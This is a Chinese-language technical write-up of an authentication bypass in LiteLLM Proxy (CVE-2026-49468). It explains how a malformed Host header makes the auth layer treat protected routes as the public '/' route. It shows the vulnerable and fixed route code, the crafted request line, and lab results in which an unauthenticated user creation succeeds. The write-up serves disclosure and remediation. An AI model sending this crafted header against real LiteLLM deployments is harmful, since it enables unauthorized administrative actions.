CVE-2026-49468 原理说明

漏洞概述

CVE-2026-49468 是 LiteLLM Proxy 的 Host Header 认证绕过漏洞。

受影响版本中,LiteLLM 在鉴权前会计算当前请求路由,并基于该路由判断:

  • 是否是 public route
  • 是否需要 API key 鉴权
  • 当前 key 是否允许访问该路由

问题在于旧版 LiteLLM 使用了 Starlette/FastAPI 的 request.url.path 作为鉴权路由来源,而 request.url 会受 Host header 影响。

当攻击者构造畸形 Host header,例如:

1
Host: 127.0.0.1:14000/?x=1

Starlette 会把真实请求路径拼接进一个已经被 ? 污染的 URL,导致 request.url.path 被解析成 /

LiteLLM 认证层因此把受保护路由误判为 public route /,从而跳过 API key 校验。

正常请求行为

正常请求:

1
2
POST /user/new HTTP/1.1
Host: 127.0.0.1:14000

Starlette 构造出的 URL:

1
http://127.0.0.1:14000/user/new

关键字段:

1
2
3
4
scope["path"]       = /user/new
request.url.path = /user/new
request.base_url = http://127.0.0.1:14000/
request.base_url.path = /

LiteLLM 旧版 get_request_route() 最终得到:

1
/user/new

/user/new 是受保护管理接口,因此无 Authorization 时返回 401。

畸形 Host 请求行为

畸形 Host 请求:

1
2
POST /user/new HTTP/1.1
Host: 127.0.0.1:14000/?x=1

真实 HTTP request line 里的路径仍然是:

1
/user/new

也就是 ASGI scope 中仍然是:

1
scope["path"] = /user/new

但 Starlette 在构造 request.url 时会直接拼接 Host header:

1
url = f"{scheme}://{host_header}{path}"

因此得到:

1
http://127.0.0.1:14000/?x=1/user/new

按 URL 语法,? 后面的内容会被当成 query string,所以 URL 的 path 被解析成:

1
request.url.path = /

本地 1.83.14 容器中观测到的字段:

1
2
3
4
5
6
Host: 127.0.0.1:14000/?x=1
scope.path: /user/new
request.url: http://127.0.0.1:14000/?x=1/user/new
request.url.path: /
request.base_url: http://127.0.0.1:14000/?x=1/
request.base_url.path: /

LiteLLM 旧版路由计算问题

受影响版本中的 get_request_route() 逻辑:

1
2
3
4
5
6
7
8
9
10
def get_request_route(request):
try:
if hasattr(request, "base_url") and request.url.path.startswith(
request.base_url.path
):
return request.url.path[len(request.base_url.path) - 1:]
else:
return request.url.path
except Exception:
return request.url.path

在畸形 Host 请求中:

1
2
request.url.path = /
request.base_url.path = /

所以 LiteLLM 得到的鉴权路由是:

1
/

/ 在 LiteLLM 中属于 public route。

鉴权绕过链路

完整链路:

1
2
3
4
5
6
7
8
9
10
11
POST /user/new
Host: 127.0.0.1:14000/?x=1
无 Authorization

-> Starlette request.url = http://127.0.0.1:14000/?x=1/user/new
-> request.url.path = /
-> LiteLLM get_request_route() 返回 /
-> / 是 LiteLLM public route
-> user_api_key_auth 跳过 API key 鉴权
-> FastAPI 仍按 scope["path"]=/user/new 分发到 /user/new handler
-> /user/new 被未授权执行

关键矛盾是:

1
2
鉴权层看到:/
路由层执行:/user/new

本地复现结果

复现版本:

1
LiteLLM 1.83.14

PoC:

1
/Users/albert/Downloads/AliRedTeam/0day/litellm-lab/pocs/poc_49468.py

正常 Host,无 Authorization:

1
2
3
4
5
POST /user/new
Host: 127.0.0.1:14000

结果:401
Authentication Error, No api key passed in.

畸形 Host,无 Authorization:

1
2
3
4
5
POST /user/new
Host: 127.0.0.1:14000/?x=1

结果:200
成功创建 internal_user

PoC 输出:

1
2
3
4
baseline-no-auth-normal-host: 401
crafted-host-attempt-1: 200
bypass_host='127.0.0.1:14000/?x=1'
verdict=LIKELY VULNERABLE

修复思路

修复后的逻辑不再依赖 request.url.path,而是使用 ASGI scope 中的原始路径:

1
2
raw_path = str(scope.get("path", request.url.path))
root_path = str(scope.get("app_root_path", scope.get("root_path", "")))

修复后路由计算大致逻辑:

1
2
3
4
5
6
7
8
9
10
def get_request_route(request):
try:
scope = request.scope
raw_path = str(scope.get("path", request.url.path))
root_path = str(scope.get("app_root_path", scope.get("root_path", "")))
if root_path and root_path != "/" and raw_path.startswith(root_path):
return raw_path[len(root_path):]
return raw_path
except Exception:
return str(request.url.path)

修复核心:

  • 不使用会被 Host header 影响的 request.url.path 作为鉴权路径
  • 改用 scope["path"]
  • scope["path"] 来自 HTTP request line,由 ASGI server 设置
  • Host header 无法把 scope["path"]/user/new 改成 /

影响条件

该漏洞是未授权认证绕过,但实际利用需要满足:

  • 攻击者能够控制发送到 LiteLLM Proxy 的 Host header
  • 前置 nginx、Ingress、ALB、API Gateway 等没有严格校验或重写 Host
  • LiteLLM 暴露的 protected route 存在可被无鉴权执行后产生影响的接口

如果前置组件强制校验 Host 或覆盖 Host,实际利用面会下降。